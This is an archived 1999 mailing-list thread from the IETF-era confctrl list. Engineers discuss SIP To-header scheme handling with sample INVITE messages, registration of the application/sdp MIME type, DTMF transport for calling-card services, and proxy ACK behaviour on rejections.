In certain situations, the UAS may want to accept the call even when it does not
understand the 'To' header.

We could rephrase and say:

> Section 6.37 of RFC 2543:
> 
> "A SIP server MAY return a 400 (Bad Request) response if it receives a
> request with a To header field containing a URI with a scheme it
> does not recognize."

and add that this behaviour is really up to the application (UAS). 

This way, if the application is configured to do so, it will still send back the
400 response... 

How does it sound?

Regards,

Gonzalo (+1 214 850 8618)

> Gonzalo>> So, this guy can filter his calls using the 'To' header. He may 
> Gonzalo>> not want to receive calls addressed to the help_desk after 5 p.m., 
> Gonzalo>> but he still wants to receive his personal calls, addressed to 
> Gonzalo>> Bob...
> Gonzalo>> The request-URI will be the same for both types of calls...
> 
> Jonathan> This is why the UAS should understand the scheme in the To field. It
> Jonathan> can't really successfully filter it if it doesn't understand it.
> 
> I understand, if you're doing filtering, that you may choose to
> reject calls which have an unknown scheme in the To: field; however,
> saying that this is correct behavior for a client *in* *general* seems
> very restrictive. I'll gave a more realistic example than before.
> 
> Let's say that we have a SIP network that is being used to transit
> PSTN calls. On one end, I have a PSTN gateway which requires an external
> redirection server to perform phone number routing. It does so by sending
> all dialed requests to this server with a URI with a "tel:" scheme.
> 
> In the particular call I'm trying to complete, it ends up proxying
> or redirecting the call to a gateway which does not understand the 
> "tel:" scheme. No call filtering is being performed.
> 
> Ingress Gateway (austin1.bell.com) -> Routing Server
> 
>   INVITE tel:+12145551212 SIP/2.0
>   To: <tel:+12145551212>
>   From: <tel:+15125551234>
>   Contact: <sip:+15125551234@austin1.bell.com>
> 
> 
> Routing Server -> Egress Gateway (dallas4.bell.com)
> 
>   INVITE sip:+12145551212@dallas4.bell.com SIP/2.0
>   To: <tel:+12145551212>
>   From: <tel:+15125551234>
>   Contact: <sip:+15125551234@austin1.bell.com>
> 
> 
> Should this call, under these *particular* circumstances, be rejected
> by the egress gateway?  If so, what has been gained?
> 
> --
> Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
> adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA


From confctrl-owner  Wed Jul 28 18:42:37 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA18524
	for confctrl-outgoing; Wed, 28 Jul 1999 18:42:37 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA18519
	for <confctrl@zephyr.isi.edu>; Wed, 28 Jul 1999 18:42:34 -0700 (PDT)
Received: from mailman.cisco.com (mailman.cisco.com [171.68.225.9])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id SAA15333
	for <confctrl@ISI.EDU>; Wed, 28 Jul 1999 18:42:33 -0700 (PDT)
Received: from chsharp-tecra (chsharp-isdn.cisco.com [171.68.116.221]) by mailman.cisco.com (8.8.8+Sun/CISCO.SERVER.1.2) with SMTP id SAA25589 for <confctrl@ISI.EDU>; Wed, 28 Jul 1999 18:42:02 -0700 (PDT)
Message-Id: <4.1.19990728213105.04615920@dogwood.cisco.com>
X-Sender: chsharp@dogwood.cisco.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 
Date: Wed, 28 Jul 1999 21:37:20 -0400
To: confctrl@ISI.EDU
From: Chip Sharp <chsharp@cisco.com>
Subject: SDP MIME Type
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

In the SDP spec, RFC2327, it mentions the use of the MIME Type
"application/sdp."
>From RFC2327:
"For both email and WWW distribution, the use of the MIME content type
"application/sdp" should be used.  "

However, I cannot find this MIME Type in the IANA registered MIME Types at
http://www.isi.edu/in-notes/iana/assignments/media-types/

Can someone tell me where the application/sdp MIME Type is registered?

Thanks,
Chip
--------------------------------------------------
Chip Sharp                 Consulting Engineering
Cisco Systems              Telco Bio-region 
Reality - Love it or Leave it.			
--------------------------------------------------

From confctrl-owner  Wed Jul 28 19:43:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA20313
	for confctrl-outgoing; Wed, 28 Jul 1999 19:43:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA20308
	for <confctrl@zephyr.isi.edu>; Wed, 28 Jul 1999 19:43:03 -0700 (PDT)
Received: from smtp-out2.bellatlantic.net (smtp-out2.bellatlantic.net [199.45.39.157])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id TAA18092
	for <confctrl@ISI.EDU>; Wed, 28 Jul 1999 19:43:02 -0700 (PDT)
Received: from cs.columbia.edu (adsl-151-198-20-48.bellatlantic.net [151.198.20.48])
	by smtp-out2.bellatlantic.net (8.9.1/8.9.1) with ESMTP id WAA23909;
	Wed, 28 Jul 1999 22:47:04 -0400 (EDT)
Message-ID: <379FBFE3.5D9A4CE7@cs.columbia.edu>
Date: Wed, 28 Jul 1999 22:43:47 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: Columbia University
X-Mailer: Mozilla 4.5 [en]C-CCK-MCD BA45DSL  (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Chip Sharp <chsharp@cisco.com>
CC: confctrl@ISI.EDU
Subject: Re: SDP MIME Type
References: <4.1.19990728213105.04615920@dogwood.cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

It may not be registered with IANA; there are no other registrations.
Probably, the authors should do the registration, but since this is a
ten-minute affair, if nobody else steps forward, I can fill out the web
form.

Chip Sharp wrote:
> 
> In the SDP spec, RFC2327, it mentions the use of the MIME Type
> "application/sdp."
> >From RFC2327:
> "For both email and WWW distribution, the use of the MIME content type
> "application/sdp" should be used.  "
> 
> However, I cannot find this MIME Type in the IANA registered MIME Types at
> http://www.isi.edu/in-notes/iana/assignments/media-types/
> 
> Can someone tell me where the application/sdp MIME Type is registered?
>

From confctrl-owner  Thu Jul 29 06:32:18 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA08547
	for confctrl-outgoing; Thu, 29 Jul 1999 06:32:18 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA08542
	for <confctrl@zephyr.isi.edu>; Thu, 29 Jul 1999 06:32:17 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id GAA23894
	for <confctrl@isi.edu>; Thu, 29 Jul 1999 06:32:16 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Thu Jul 29 09:13:29 EDT 1999
Received: from dnrc.bell-labs.com (arrakis.dnrc.bell-labs.com [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id JAA14842;
	Thu, 29 Jul 1999 09:13:38 -0400 (EDT)
Message-ID: <37A0536C.CC117259@dnrc.bell-labs.com>
Date: Thu, 29 Jul 1999 09:13:16 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.61 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: "Adam B. Roach" <Adam.Roach@ericsson.com>
CC: gonzalo.camarillo@lmf.ericsson.se, confctrl@ISI.EDU, ricky@lmf.ericsson.se
Subject: Re: SIP spec nit
References: <199907282237.RAA11091@b04a24.exu.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



"Adam B. Roach" wrote:
> 

> In the particular call I'm trying to complete, it ends up proxying
> or redirecting the call to a gateway which does not understand the
> "tel:" scheme. No call filtering is being performed.
> 
> Ingress Gateway (austin1.bell.com) -> Routing Server
> 
>   INVITE tel:+12145551212 SIP/2.0
>   To: <tel:+12145551212>
>   From: <tel:+15125551234>
>   Contact: <sip:+15125551234@austin1.bell.com>
> 
> Routing Server -> Egress Gateway (dallas4.bell.com)
> 
>   INVITE sip:+12145551212@dallas4.bell.com SIP/2.0
>   To: <tel:+12145551212>
>   From: <tel:+15125551234>
>   Contact: <sip:+15125551234@austin1.bell.com>
> 
> Should this call, under these *particular* circumstances, be rejected
> by the egress gateway?  If so, what has been gained?

I don't feel that strongly here, but I would argue that in this case
your gateway does know about the tel URL. It simply knows not to reject
calls with a tel URL scheme in the To field. 

-Jonathan R.



-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Thu Jul 29 06:39:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA08685
	for confctrl-outgoing; Thu, 29 Jul 1999 06:39:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA08680
	for <confctrl@zephyr.isi.edu>; Thu, 29 Jul 1999 06:39:05 -0700 (PDT)
Received: from mailman.cisco.com (mailman.cisco.com [171.68.225.9])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA24147
	for <confctrl@ISI.EDU>; Thu, 29 Jul 1999 06:39:04 -0700 (PDT)
Received: from chsharp-tecra (chsharp-isdn.cisco.com [171.68.116.221]) by mailman.cisco.com (8.8.8+Sun/CISCO.SERVER.1.2) with SMTP id GAA15790; Thu, 29 Jul 1999 06:37:22 -0700 (PDT)
Message-Id: <4.1.19990729092854.03ed9da0@dogwood.cisco.com>
X-Sender: chsharp@dogwood.cisco.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 
Date: Thu, 29 Jul 1999 09:32:44 -0400
To: Henning Schulzrinne <hgs@cs.columbia.edu>
From: Chip Sharp <chsharp@cisco.com>
Subject: Re: SDP MIME Type
Cc: confctrl@ISI.EDU
In-Reply-To: <379FBFE3.5D9A4CE7@cs.columbia.edu>
References: <4.1.19990728213105.04615920@dogwood.cisco.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

It would be a good idea to register it to avoid the possibility of someone
else registering it for some other application whose initials are "sdp".

Chip

At 10:43 PM 7/28/99 -0400, you wrote:
>It may not be registered with IANA; there are no other registrations.
>Probably, the authors should do the registration, but since this is a
>ten-minute affair, if nobody else steps forward, I can fill out the web
>form.
>
>Chip Sharp wrote:
>> 
>> In the SDP spec, RFC2327, it mentions the use of the MIME Type
>> "application/sdp."
>> >From RFC2327:
>> "For both email and WWW distribution, the use of the MIME content type
>> "application/sdp" should be used.  "
>> 
>> However, I cannot find this MIME Type in the IANA registered MIME Types at
>> http://www.isi.edu/in-notes/iana/assignments/media-types/
>> 
>> Can someone tell me where the application/sdp MIME Type is registered?
>>

--------------------------------------------------
Chip Sharp                 Consulting Engineering
Cisco Systems              Telco Bio-region 
Reality - Love it or Leave it.			
--------------------------------------------------

From confctrl-owner  Thu Jul 29 09:41:29 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA15476
	for confctrl-outgoing; Thu, 29 Jul 1999 09:41:29 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA15471
	for <confctrl@zephyr.isi.edu>; Thu, 29 Jul 1999 09:41:27 -0700 (PDT)
Received: from omzrelay02.mcit.com (omzrelay02.mcit.com [199.249.19.244])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA07971
	for <confctrl@ISI.EDU>; Thu, 29 Jul 1999 09:41:26 -0700 (PDT)
Received: from omzrelay.mcit.com ([166.37.204.49])
 by firewall.mcit.com (PMDF V5.2-32 #38417)
 with ESMTP id <0FFN001KJ4VTP7@firewall.mcit.com> for confctrl@ISI.EDU; Thu,
 29 Jul 1999 16:38:18 +0000 (GMT)
Received: from omzmta01.mcit.com (omzmta01.mcit.com [166.37.194.119])
 by omzrelay.mcit.com (8.8.7/) with ESMTP	id QAA31040; Thu,
 29 Jul 1999 16:39:10 +0000 (GMT)
Received: from dwillispc ([166.35.249.176])
 by omzmta01.mcit.com (InterMail v03.02.05 118 121 101)
 with SMTP id <19990729163804.HYWC19297@dwillispc>; Thu,
 29 Jul 1999 16:38:04 +0000
Date: Thu, 29 Jul 1999 11:31:51 -0500
From: Dean Willis <dean.willis@wcom.com>
Subject: RE: SIP/PSTN interworking draft
In-reply-to: <199907221944.OAA05157@b04a45.exu.ericsson.se>
To: Sean Olson <eussean@exu.ericsson.se>, scott.petrack@metatel.com
Cc: confctrl@ISI.EDU
Message-id: <000301bed9df$dc95ece0$b0f923a6@dwillispc.mcit.com>
MIME-version: 1.0
X-MIMEOLE: Produced By Microsoft MimeOLE V4.72.3155.0
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Content-type: text/plain;	charset="iso-8859-1"
Content-transfer-encoding: 7bit
Importance: Normal
X-Priority: 3 (Normal)
X-MSMail-priority: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Scott said:
> > It would be a very interesting thing to have a standard
> > format for Calling Card Information, so that it could be
> > included within, among other things a SIP payload.
> . . .

and Sean said:
> I think this is a reasonable approach. To address the calling
> card problem,
> I would recommend sending a multipart/parallel body where each
> section could
> contain AVT encoded DTMF, appropriate strings, or
> base64/encrypted data for
> "carriers name, the owner's name, the calling card number,
> perhaps a few bytes
> of special restrictions". Again though, I don't see that this needs to be
> standardized. I think the important primitive here for building
> services is
> standardized way of relaying DTMF information along the signalling path.
>

I think you guys are missing the "interworking" part of the problem. Let's
get back to the (I think Steve's) example of a calling-card service.

We start with a phone -- you know, black plastic thing, ten key interface?
Simple analog electronics?

In the calling card scenario, the phone's user places a PSTN call to a
calling card platform -- which is front-ended by a PSTN to SIP gateway, then
on to a calling card platform which is also a UAC/UAS.

user--->phone--->gateway--->card-platform

In the normal mode of utilization, the card platform plays a greeting which
prompts the user to enter an authentication PIN. The user keys in a PIN,
which is turned into DTMF by the circuitry in the phone. The DTMF digits
propagate over the PSTN to the gateway.

This is where it gets interesting. We have several scenarios:

1) Today's model: the gateway samples the DTMF, encodes it (G.711, etc), and
ships it downstream just like it would do voice. The card-platform then
applies DSP resources to detect and decode the DTMF digits.

2) The In-band model: The gateway detects and decodes the DTMF and inserts
it into an RTP(DTMF) stream headed for the card-platform. The card-platform
no longer needs dedicated DSP resources.

3) The out-of-band model: The gateway detects and decodes the DTMF and sends
appropriate INFO or NOTIFY or whatever SIP messages to the card-platform.
The card-platform no longer needs dedicated DSP resources.

Note that the gateway is effectively the user's UAC -- it is NOT AWARE that
it is being used to support a credit-card transaction, and could be standard
off-the-shelf hardware. Since it by definition has DSP resources which are
quite likely to be applied to any call, it is most efficient to have the
DTMF detection and decoding (an recoding to a character format) occur in the
gateway. Remember, from a carrier perspective, gateway ports are a
cost-dominating factor -- we want gateways to be very simple and very
generic, but useful for all different sorts of applications.

There's a separate discussion to be had about the applicability differences
between in-band and out-of-band.

--
Dean Willis


From confctrl-owner  Thu Jul 29 15:05:39 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA28086
	for confctrl-outgoing; Thu, 29 Jul 1999 15:05:39 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA28081
	for <confctrl@zephyr.isi.edu>; Thu, 29 Jul 1999 15:05:38 -0700 (PDT)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA14784
	for <confctrl@ISI.EDU>; Thu, 29 Jul 1999 15:05:37 -0700 (PDT)
Received: from mr4.exu.ericsson.se (mr4u.ericy.com [208.238.116.99])
	by gwu.ericy.com (8.9.3/8.9.3) with ESMTP id RAA06812;
	Thu, 29 Jul 1999 17:04:08 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr4.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id RAA21876;
	Thu, 29 Jul 1999 17:04:08 -0500 (CDT)
Received: from b04a45.exu.ericsson.se (b04a45 [138.85.60.145]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id RAA19616; Thu, 29 Jul 1999 17:04:06 -0500 (CDT)
From: Sean Olson <eussean@exu.ericsson.se>
Received: (from eussean@localhost)
	by b04a45.exu.ericsson.se (8.9.1/8.9.1) id RAA12605;
	Thu, 29 Jul 1999 17:04:05 -0500 (CDT)
Date: Thu, 29 Jul 1999 17:04:05 -0500 (CDT)
Message-Id: <199907292204.RAA12605@b04a45.exu.ericsson.se>
To: scott.petrack@metatel.com, dean.willis@wcom.com
Subject: RE: SIP/PSTN interworking draft
Cc: confctrl@ISI.EDU
X-Sun-Charset: US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> I think you guys are missing the "interworking" part of the problem. Let's
> get back to the (I think Steve's) example of a calling-card service.
> 
> We start with a phone -- you know, black plastic thing, ten key interface?
> Simple analog electronics?
> 
> .... (snip)
>
> The card-platform no longer needs dedicated DSP resources.
> 
> .... (snip
>
> There's a separate discussion to be had about the applicability differences
> between in-band and out-of-band.
> 
> --
> Dean Willis
> 

My concern with Scotts' suggestion was not with whether or not DTMF should 
be carried in-band or out-of-band, but whether it is appropriate to standardize service-specific payloads/headers. I was arguing that the focus should be 
on the standardization of transiting DTMF (in-band as well as out-of-band).
I agree 100% with your contention that the DTMF detection and encoding should
be done in the gateway since the DSP resources are there to do so.

In any case, once you have a standardized way of transiting DTMF, you have
a basis for implementing calling card services (in a wide variety of ways).

-----------------------------------------------------------------
Sean Olson            E-mail: sean.olson@ericsson.com
Ericsson Inc.         Voice: (972) 583-5472 
                      FAX: (972) 669-0154

From confctrl-owner  Fri Jul 30 11:14:30 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA06651
	for confctrl-outgoing; Fri, 30 Jul 1999 11:14:30 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA06646
	for <confctrl@zephyr.isi.edu>; Fri, 30 Jul 1999 11:14:29 -0700 (PDT)
Received: from hotmail.com (f68.hotmail.com [207.82.251.208])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id LAA09364
	for <confctrl@isi.edu>; Fri, 30 Jul 1999 11:14:29 -0700 (PDT)
Received: (qmail 19613 invoked by uid 0); 30 Jul 1999 18:13:58 -0000
Message-ID: <19990730181358.19612.qmail@hotmail.com>
Received: from 132.208.136.30 by www.hotmail.com with HTTP;
	Fri, 30 Jul 1999 11:13:58 PDT
X-Originating-IP: [132.208.136.30]
From: "I B" <imortada@hotmail.com>
To: confctrl@ISI.EDU
Date: Fri, 30 Jul 1999 11:13:58 PDT
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

hello,

where can find place to send a question about SIP (I mean mailling list).
please reply me..

thanks


______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com

From confctrl-owner  Sat Jul 31 00:41:22 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA06948
	for confctrl-outgoing; Sat, 31 Jul 1999 00:41:22 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA06943
	for <confctrl@zephyr.isi.edu>; Sat, 31 Jul 1999 00:41:20 -0700 (PDT)
Received: from aardvark.aciri.org (aardvark.aciri.org [192.150.187.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id AAA16977
	for <confctrl@ISI.EDU>; Sat, 31 Jul 1999 00:41:18 -0700 (PDT)
Received: from aardvark.aciri.org (localhost [127.0.0.1])
	by aardvark.aciri.org (8.9.3/8.9.2) with ESMTP id AAA84353;
	Sat, 31 Jul 1999 00:41:15 -0700 (PDT)
	(envelope-from mjh@aardvark.aciri.org)
From: Mark Handley <mjh@aciri.org>
X-Organisation: ACIRI
To: Henning Schulzrinne <hgs@cs.columbia.edu>
cc: Chip Sharp <chsharp@cisco.com>, confctrl@ISI.EDU
Subject: Re: SDP MIME Type 
In-reply-to: Your message of "Wed, 28 Jul 1999 22:43:47 EDT."
             <379FBFE3.5D9A4CE7@cs.columbia.edu> 
Date: Sat, 31 Jul 1999 00:41:15 -0700
Message-ID: <84351.933406875@aardvark.aciri.org>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>It may not be registered with IANA; there are no other registrations.
>Probably, the authors should do the registration, but since this is a
>ten-minute affair, if nobody else steps forward, I can fill out the web
>form.

I did this, twice.  Nothing ever happened.  Looks like the MIME type
registration process doesn't work.  By all means try again....

Mark

From confctrl-owner  Sun Aug  1 11:19:00 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA02281
	for confctrl-outgoing; Sun, 1 Aug 1999 11:19:00 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA02272
	for <confctrl@zephyr.isi.edu>; Sun, 1 Aug 1999 11:18:58 -0700 (PDT)
Received: from hotmail.com (f210.hotmail.com [207.82.251.101])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id LAA05551
	for <confctrl@isi.edu>; Sun, 1 Aug 1999 11:18:57 -0700 (PDT)
Received: (qmail 46044 invoked by uid 0); 1 Aug 1999 18:18:26 -0000
Message-ID: <19990801181826.46043.qmail@hotmail.com>
Received: from 132.208.136.31 by www.hotmail.com with HTTP;
	Sun, 01 Aug 1999 11:18:26 PDT
X-Originating-IP: [132.208.136.31]
From: "I B" <imortada@hotmail.com>
To: confctrl@ISI.EDU
Date: Sun, 01 Aug 1999 11:18:26 PDT
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

hello,

Can i join to your mailling list and how can i do that ???????

thanks


______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com

From confctrl-owner  Mon Aug  2 02:06:31 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id CAA24381
	for confctrl-outgoing; Mon, 2 Aug 1999 02:06:31 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id CAA24376
	for <confctrl@zephyr.isi.edu>; Mon, 2 Aug 1999 02:06:30 -0700 (PDT)
Received: from tapti.hss.hns.com ([139.85.242.19])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id CAA28942
	for <confctrl@isi.edu>; Mon, 2 Aug 1999 02:06:05 -0700 (PDT)
From: archow@hss.hns.com
Received: from sampark.hss.hns.com (sampark.hss.hns.com [139.85.229.5])
	by tapti.hss.hns.com (8.8.8/8.8.8) with SMTP id PAA10980
	for <confctrl@isi.edu>; Mon, 2 Aug 1999 15:53:01 +0530 (IST)
Received: by sampark.hss.hns.com(Lotus SMTP MTA SMTP v4.6 (462.2 9-3-1997))  id 652567C1.00320B77 ; Mon, 2 Aug 1999 14:36:37 +0530
X-Lotus-FromDomain: HSSBLR
To: confctrl@ISI.EDU
Message-ID: <652567C1.00316126.00@sampark.hss.hns.com>
Date: Mon, 2 Aug 1999 14:36:32 +0530
Subject: Rejection
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,
I came across a doubt which came to mind while I was running thru the sip
prototype with the SIP InterOp doc
It maybe very simple - something which Im missing :)

1. If UA1 talks to P1 which talks to UA2 (P=proxy, UA=User Agent) and if
UA2 rejects, U2 sends a 400 (say) resp to P1 which sends an ACK to UA2,
then fwds the reject to UA1 which again sends ACK to P1.

My Q here is: why cant UA2 send an err to P1 which simply forwards it to
UA1. On recv. UA1 sends ACK which P1 forwards to UA2 ? Isnt that a more
straight forward way ?

Hope every one is not too busy with the bakeoffs !

Regds
Arjun



From confctrl-owner  Mon Aug  2 04:29:04 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA28607
	for confctrl-outgoing; Mon, 2 Aug 1999 04:29:04 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA28602
	for <confctrl@zephyr.isi.edu>; Mon, 2 Aug 1999 04:29:01 -0700 (PDT)
Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by venera.isi.edu (8.8.7/8.8.6) with ESMTP id EAA25059
	for <confctrl@ISI.EDU>; Mon, 2 Aug 1999 04:28:58 -0700 (PDT)
From: gonzalo.camarillo@lmf.ericsson.se
Received: from lmf.lmf.ericsson.se (umail.lmf.ericsson.se [131.160.11.2])
	by penguin.wise.edt.ericsson.se (8.9.3/8.9.3/WIREfire-1.3) with ESMTP id NAA15535;
	Mon, 2 Aug 1999 13:25:07 +0200 (MET DST)
Received: from greymse1.lmf.ericsson.se by lmf.lmf.ericsson.se (8.8.8+Sun/SMI-SVR4)
	id OAA28988; Mon, 2 Aug 1999 14:24:35 +0300 (EET DST)
Received: from localhost (root@localhost)
	by greymse1.lmf.ericsson.se (8.8.6 (PHNE_14041)/8.8.6) with SMTP id OAA26002;
	Mon, 2 Aug 1999 14:24:35 +0300 (EETDST)
X-OpenMail-Hops: 1
Date: Mon, 2 Aug 1999 14:24:17 +0300
Message-Id: <H0000e4b02a85053@MHS>
In-Reply-To: <652567C1.00316126.00@sampark.hss.hns.com>
Subject: Re: Rejection
MIME-Version: 1.0
TO: archow@hss.hns.com
CC: confctrl@ISI.EDU
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi Arjun,

> I came across a doubt which came to mind while I was running thru the sip
> prototype with the SIP InterOp doc
> It maybe very simple - something which Im missing :)
> 
> 1. If UA1 talks to P1 which talks to UA2 (P=proxy, UA=User Agent) and if
> UA2 rejects, U2 sends a 400 (say) resp to P1 which sends an ACK to UA2,
> then fwds the reject to UA1 which again sends ACK to P1.
> 
> My Q here is: why cant UA2 send an err to P1 which simply forwards it to
> UA1. On recv. UA1 sends ACK which P1 forwards to UA2 ? Isnt that a more
> straight forward way ?

The P1 may have contacted the callee party at different locations (UA2, UA3...),
and if one of them (UA3) accepts the call, this 200 OK will be forwarded to UA1.
UA1 does not need to receive the 400 from UA2...

The idea of a proxy server is that he acts on behalf of the caller, doing
everything needed for establishing the call.
What you are describing is just a relay, that just forwards messages...

Regards,

Gonzalo (+1 214 850 8618)


From confctrl-owner  Mon Aug  2 06:20:39 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA02426
	for confctrl-outgoing; Mon, 2 Aug 1999 06:20:39 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA02421
	for <confctrl@zephyr.isi.edu>; Mon, 2 Aug 1999 06:20:38 -0700 (PDT)
Received: from crufty.research.bell-labs.com (crufty.research.bell-labs.com [204.178.16.49])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id GAA06027
	for <confctrl@isi.edu>; Mon, 2 Aug 1999 06:20:37 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by crufty; Mon Aug  2 09:19:03 EDT 1999
Received: from dnrc.bell-labs.com (arrakis.dnrc.bell-labs.com [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id JAA16116;
	Mon, 2 Aug 1999 09:19:36 -0400 (EDT)
Message-ID: <37A59AC0.4B8EB32E@dnrc.bell-labs.com>
Date: Mon, 02 Aug 1999 09:18:56 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.61 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: archow@hss.hns.com
CC: confctrl@ISI.EDU
Subject: Re: Rejection
References: <652567C1.00316126.00@sampark.hss.hns.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



archow@hss.hns.com wrote:
> 
> Hi,
> I came across a doubt which came to mind while I was running thru the sip
> prototype with the SIP InterOp doc
> It maybe very simple - something which Im missing :)
> 
> 1. If UA1 talks to P1 which talks to UA2 (P=proxy, UA=User Agent) and if
> UA2 rejects, U2 sends a 400 (say) resp to P1 which sends an ACK to UA2,
> then fwds the reject to UA1 which again sends ACK to P1.
> 
